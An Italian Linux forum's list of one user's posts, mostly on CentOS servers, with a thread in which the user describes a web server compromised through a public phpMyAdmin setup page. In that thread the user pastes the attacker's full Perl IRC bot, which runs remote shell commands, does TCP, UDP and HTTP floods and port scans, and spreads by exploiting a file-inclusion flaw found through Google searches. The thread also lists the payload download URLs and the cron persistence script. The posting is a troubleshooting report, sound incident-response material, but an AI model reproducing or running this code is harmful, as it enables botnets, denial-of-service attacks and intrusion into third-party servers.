Visualizza post

Questa sezione ti permette di visualizzare tutti i post inviati da questo utente. N.B: puoi vedere solo i post relativi alle aree dove hai l'accesso.


Post - tinx

Pagine: [1] 2
1
Server / Re: Progetto di virtualizzazione!!!!!!!!!!!!!
« il: 29 Luglio 2011, 11:53:43 »
penso 2 macchine virtuali.

Cmq molti di questi sistemi vedi vmware sono gratuiti poi paghi i servizi vedi backup a caldo ecc....

Hyper-V e gratis ma Windows 2008 R2 no!

prova proxmox VE

Quoto, proxmox VE Ť semplicemente fantastico e gratuito...
Basato su Debian 5 (presto la 6 ) usa OpenVZ (parente stretto del blasonato Virtuozzo di Parallels) oppure Kvm (per la virtualizzazione totale)

2
Server / Dns - Pagina personalizzata di redirect
« il: 29 Luglio 2011, 11:45:24 »
Ciao a tutti,
ho due server dns basati su Centos 5.6 + Bind9 che svolgono l'attivitŗ di master + slave per i domini autorevoli e dns di ricursione + caching per risolvere le query di determinati ip clients.
Tutto funziona a dovere ma vorrei implementare la funzionalitŗ di reindirizzamento verso una determinata pagina http (vs mio webserver) qual'ora non venga risolta la query richiesta dai clients (quando viene richiesto un indirizzo errato e/o inesistente nei root servers)

... un pÚ come fa opendns quando nel browser del client si immette un nome di  dominio inesistente

Ť possibile con bind?

3
Sicurezza / Re: Problemi server web
« il: 04 Maggio 2011, 11:39:27 »
Alla fine non ti hanno bucato ma aperto la porta con le chiavi di casa lasciate sulla toppa:

mi hanno bucato tramite phpmyadmin usando la pagina /phpmyadmin/scripts/setup.php che ho incautamente lasciato pubblica

Ti consiglio comunque di installare rkhunter e chkrootkit almeno per fare un minimo di controllo e verificare che a parte quello che hai pulito non ci sia altro.

Ciao

si si  ;D non si tratta di furto con scasso.....
adesso ho tolto la chiave dalla toppa e ripulito, comunque un controllo con i 2 tool e sulla lista di cose da fare sulla macchina

grazie mille

4
Sicurezza / Re: Problemi server web
« il: 04 Maggio 2011, 08:59:14 »
Al momento ho pulito in modo veloce la macchina e da ieri non ha piŗ avuto i problemi di full load cpu, quindi problema apparentemente risolto.

Ho fatto questo solo per curiositŗ di capire quale fosse stato la causa e di come si comporta adesso tale macchina ripulita, successivamente faccio il restore della stessa ripartendo da un backup privo di attacchi  ;) quindi in 50 secondi faccio tutto

5
Sicurezza / Re: Problemi server web
« il: 03 Maggio 2011, 10:30:32 »
Ecco gli ip dei colpevoli:
61.47.35.40
113.57.252.72


mi hanno bucato tramite phpmyadmin usando la pagina /phpmyadmin/scripts/setup.php che ho incautamente lasciato pubblica

successivamente hanno fatto scaricare dalla mia macchina i seguenti file con gli exploit

http://redd3vil.at.ua/red.jpg
e
http://www.fotomodelu.podserver.info/m


...e il patatrack Ť stato fatto


6
Sicurezza / Re: Problemi server web
« il: 03 Maggio 2011, 09:22:04 »
mi Ť saltato all'occhio guardando i log del crontab questa ricorrenza che cade ogni  minuto:


May  1 16:51:01 web crond[2321]: (apache) CMD (/tmp/.b/update >/dev/null 2>&1)


aprendo il file /tmp/.b/update appare questo script all'interno:


#!/bin/sh
if test -r /tmp/.b/mech.pid; then
pid=$(cat /tmp/.b/mech.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /tmp/.b
./run &>/dev/null


e nella cartella /tmp/.b/ appare questi strani file:
-rwxr-xr-x 1 apache apache    357 May  3 09:00 1
-rwxr-xr-x 1 apache apache    323 Feb 23 17:48 autorun
-rwxr-xr-x 1 apache apache   8922 Jan 24  2006 b
-rwxr-xr-x 1 apache apache  19557 May 10  2005 b2
-rwxr-xr-x 1 apache apache 266463 May 10  2005 bang.txt
-rw-r--r-- 1 apache apache     41 Apr 22 02:53 cron.d
-rwxr-xr-x 1 apache apache 152108 Jun  1  2001 crontab
-rwxr-xr-x 1 apache apache   8687 Jan 24  2006 f
-rwxr-xr-x 1 apache apache  14679 Nov  3  2005 f4
drwxr-xr-x 3 apache apache   4096 Apr 22 03:00 flood
-rw-r--r-- 1 apache apache 222043 Mar 22 12:15 flood.tar
-rw-r--r-- 1 apache apache 255887 May  3 09:10 fotobot.seen
-rwxr-xr-x 1 apache apache    219 Mar 21  2010 fwd
-rwxr-xr-x 1 apache apache     67 Jun 24  2010 go
-rwxr-xr-x 1 apache apache  10848 May 29  2005 j
-rwxr-xr-x 1 apache apache  13850 May 29  2005 j2
-rw-r--r-- 1 apache apache      8 Apr 22 02:53 mech.dir
-rwxr-xr-x 1 apache apache  22983 Jul 30  2004 mech.help
-rw-r--r-- 1 apache apache   1064 May  3 09:00 mech.levels
-rw------- 1 apache apache      4 May  3 03:34 mech.pid
-rw-r--r-- 1 apache apache    419 May  3 09:00 mech.session
-rwxr-xr-x 1 apache apache    643 Mar 21  2010 mech.set
-rwxr-xr-x 1 apache apache     32 Feb 23 17:35 run
-rwxr-xr-x 1 apache apache  15078 Feb 20  2005 s
-rwxr-xr-x 1 apache apache  16776 Sep 19  2002 sl
-rwxr-xr-x 1 apache apache  15195 Sep  2  2004 std
-rwxr-xr-x 1 apache apache   8790 Jan 24  2006 stream
-rwxr-xr-x 1 apache apache   7091 Jan 24  2006 tty
-rwxr--r-- 1 apache apache    157 Apr 22 02:53 update
-rwxr-xr-x 1 apache apache  13687 Nov 20  2002 v
-rwxr-xr-x 1 apache apache  14841 Jul 22  2005 v2
-rwxr-xr-x 1 apache apache    915 Mar  2  2005 x


7
Sicurezza / Re: Problemi server web
« il: 02 Maggio 2011, 17:40:11 »
hai provato a dare un'occhiata in /var/log/messages? e nei log di apache?

analizzando bene i log di http nel log_error c'Ť questa cosa che ricorre diverse volte

--2011-05-01 18:29:08--  http://redd3vil.at.ua/red.jpg
Resolving redd3vil.at.ua... 89.188.98.69
Connecting to redd3vil.at.ua|89.188.98.69|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24056 (23K) [image/jpeg]
Saving to: `red.jpg'

     0K .......... .......... ...                             100%  146K=0.2s

2011-05-01 18:29:09 (146 KB/s) - `red.jpg' saved [24056/24056]

sh: fetch: command not found
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
^M  0 24056    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0^M100 24056  100 24056    0     0  59124      0 --:--:-- --:--:-- --:--:--  157k
sh: lwp-download: command not found


ovviamente incuriosito ho scaricato il file manualmente e aprendolo con vim vedo che non Ť un file jpg ma un file di programmazione
ecco l'inizio

Codice: [Seleziona]
#!/usr/bin/perl
# suck us

my @nickname = ("fattys","eliter", - vari vari nomi utente tagliati per motivi di lunghezza "byn","ju");

my $nick = $nickname[rand scalar @nickname];

my $ircname = $nickname[rand scalar @nickname];


#system("kill -9 `ps ax |grep httpdse |grep -v grep|awk '{print $1;}'`");
my $processo = '/usr/bin/httpd';


# funny world...

my $linas_max='4';
my $sleep='5';
my @adms=("Verifed");
my @hostauth=("Verifed");
my @canais=("#teste");
chop (my $realname = 'try to stole me ? ... is more easy to suck us !');
$servidor='pma.irc.su' unless $servidor;
my $porta='1990';
my $VERSAO = 'BUCEFALO';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}
 
sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION just a little perl bot by #Credit @ UnderNet\001");
       }
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\.exec)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
}
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}


sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my
@portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
             my (@aberta, %porta_banner);
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");    
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout
=> 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
    my $itime = time;
    my ($cur_time);
             $cur_time = time - $itime;
    while ($3>$cur_time){
             $cur_time = time - $itime;
    &tcpflooder("$1","$2","$3");
             }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack done ".$1.":".$2.".");
           }
  if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 perlb0t ver ".$VERSAO);  
}
           if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched INDEXU for ".$1."
seconds.");
    srand;
    my $itime = time;
    my ($cur_time);
    my ($exploited);
    $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
   $cur_time = time - $itime;
   @urls=fetch();
foreach $url (@urls) {
$cur_time = time - $itime;
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url =$path."/SQuery/lib/gore.php?libpath=$boturl?";
$page = http_query($url);
$exploited = $exploited + 1;
   }
}
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1."
seconds.");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking ".$1.":80 for ".$2." seconds.");
    my $itime = time;
    my ($cur_time);
             $cur_time = time - $itime;
    while ($2>$cur_time){
             $cur_time = time - $itime;
    my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
    close($socket);
             }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking ".$1." with ".$2." Kb packets for
".$3." seconds.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent
".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
           }
           exit;
       }
  }
}
 
sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}

sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}

sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  
  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}  
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this shit a bit.
#

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(10)) * $n);

my @dominios = ("com","net","org","info","gov", "gob","gub","xxx",
"eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",

"py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",

"af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
"vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",

"ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",

"iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",

"ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",

"na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",

"sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
"vu","vn","ye","yu","cd","zm","zw","");
my @str;

foreach $dom  (@dominios)
{
push (@str,"%22inurl%3Amodules.php%3Fname%3DSQuery%22+site%3A".$dom."%20");
}

    my $query="www.google.com/search?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";
    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/){
   push (@lst,$1);
}
    }
    return (@lst);
}

sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
    };    
    return $page;

}

8
Sicurezza / Re: Problemi server web
« il: 02 Maggio 2011, 16:07:30 »
Con il comando top sarebbe utile capire cosa fŗ schizzare al 100% l'utilizzo della CPU.
Assicurati inoltre di aver installato il pacchetto sysstat in modo da raccogliere in automatico le statistiche di utilizzo di I/O Cpu e memoria.
Non hai specificato che tipo di virtualizzazione usi, la topologia di rete ed eventualmente che tipo di traffico(con tcpdump o wireshark) noti fra router e vm.
Restiamo in attesa di tuoi aggiornamenti.

Ciao

Ciao Dankan, scusa per il ritardo ma in questi giorni sono molti impegnato in altri ambiti.
In effetti sono stato poco chiaro, allora, la macchina Centos 32 bit guest in oggetto Ť virtualizzata con OpenVZ.
La rete Ť una semplice rete da casa, unica subnet (255.255.255.0), router/gateway (drytek vigor) con nat verso 1 ip fisso esterno a cui sono collegate varie macchine.
Il firewall invece Ť attivo su ogni singola macchina mediante iptables che blocca in entrata  tutte le porte non utilizzate.

Presto sniffo il traffico per capirci meglio.
Il processo che utilizza al 100% la cpu ( 0,1 % mem) Ť "httpd" dall'utente "apache"

9
Sicurezza / Problemi server web
« il: 29 Aprile 2011, 16:06:42 »
Salve ragazzi ho una macchina virtualizzata basata su centos 5 32 bit che da qualche giorno mi impalla la rete.
Quando succede la ram rimane su consumi giusti mentre l'utilizzo cpu schizza al 100% fisso, la macchina diventa quasi inutilizzabile cosi come il router a cui Ť collegato, bloccando tutta la rete.
Non c'Ť accesso dall'esterno quindi non si tratta di attacco, quando si verifica vedo solo un grande scambio di dati tra il router e il server

se faccio pstree vedo i processi con questi strani segni:
Codice: [Seleziona]
init‚‚¨‚brcm_iscsiuio‚‚‚2*[{brcm_iscsiuio}]
‚‚crond
‚‚crontab‚‚‚s
‚‚httpd‚‚‚12*[httpd]
‚‚init-logger
‚‚mysqld_safe‚‚‚mysqld‚‚‚9*[{mysqld}]
‚‚proftpd
‚‚2*[sendmail]
‚‚sshd‚‚‚sshd‚‚‚bash‚‚‚pstree
‚‚syslogd
‚‚udevd
‚‚xinetd

altro non sono risucito a fare perchŤ si impalla tutto...
se riavvio la cosa torna alla normalitŗ per ore... e dopo si riverifica.


10
Server / Re: Regola iptables che da errore
« il: 13 Dicembre 2010, 15:24:16 »
Prova a postare il cat di iptables, iptables-config e sysctl.conf .


Ciao

Grazie Dankan, ma ho risolto, infatti il problema non risiedeva in CentOS ma nel sistema di virtualizzazione host che bloccava tale funzionalitŗ nella macchina client (centos), sul sito di Parallels ho trovato soluzione proprio a questo problema semplicemente modificando il parametro nel sistema Vz di virtualizzazione in modo che non filtrasse questa funzionalitŗ alle macchine client

11
Server / Regola iptables che da errore
« il: 13 Dicembre 2010, 10:18:29 »
Salve,

inserendo questa regola iptables su centos 5.5 x64:
Codice: [Seleziona]
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

mi da il seguente errore:
Codice: [Seleziona]
Unknown error 4294967295

questo Ť lo stato di iptables:
Codice: [Seleziona]
Chain INPUT (policy DROP)
target     prot opt source               destination
ACCEPT     tcp  --  anywhere             anywhere            tcp dpt:ssh
ACCEPT     tcp  --  anywhere             anywhere            tcp dpt:http
ACCEPT     all  --  anywhere             anywhere

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

12
Server / Re: Problema upload da web non funziona
« il: 09 Dicembre 2010, 17:47:24 »
Ragazzi ho risolto, questo problema mi mandava di fuori! Il server non centrava nulla! Infatti ero sicuro di averlo configurato bene!

Era il cavolo di firewall esterno che pur essendo configurato correttamente aveva questa spunta in basso che non avevo notato!!!!
Codice: [Seleziona]
Drop non-http connection on TCP port 80

ora va tutto ok...

13
Server / Re: Problema upload da web non funziona
« il: 09 Dicembre 2010, 17:36:21 »
Allora probabilmente il problema sta nella configurazionde del virtual host di apache visto nel sito di default lo script funziona senza problemi.

ecco le righe del mio virtual host:

Codice: [Seleziona]
<VirtualHost *:80>
ServerAdmin email@email
DocumentRoot /var/www/html/nome_sito
ServerName sito.sito.web
ErrorLog logs/mywebsite_error_log
CustomLog logs/mywebsite common
</VirtualHost>

cosa devo aggiungere per attivare l'upload nel sito virtuale?

14
Server / Problema upload da web non funziona
« il: 07 Dicembre 2010, 12:47:47 »
Ciao ragazzi ho il seguente problema, ho installato una macchina con centos 5.5 64 bit con apache, in ogni sito che ha uno script di upload file puntualmente non funziona!  ..e non genera alcun errore nei log!
Lato client non appare nulla solo che il server non risponde e "La connesione Ť stata annulata"! ..gli script sono corretti non hanno problemi, i permessi alle cartelle sono giusti e i firewall iptables e selinux sono disattivati.

Perfino squirrellmail quando vado a caricare qualche file per inviare per posta... si intoppa.....  dicendo server non risponde....

Come se apache non facesse caching dei file prima di caricarli sulle directory prescelte... che impostazioni devo andare a toccare??

Ho caricato questi script in decine di server centos 5.4 ma non ho mai avuto problemi....

15
Sicurezza / Re: Aumento costante processi ssh
« il: 15 Ottobre 2010, 14:45:12 »
Ho accesso unico alla macchina visto che Ť per uso personale, la utilizzo per servizi di WebMail.
Ho controllato per script possibili ma nelle crontab non Ť programmato nulla.

Ho provato a fermare i servizi che ho installato; mysql, php, apache, proftp ma le sessioni ssh aumentano...


Pagine: [1] 2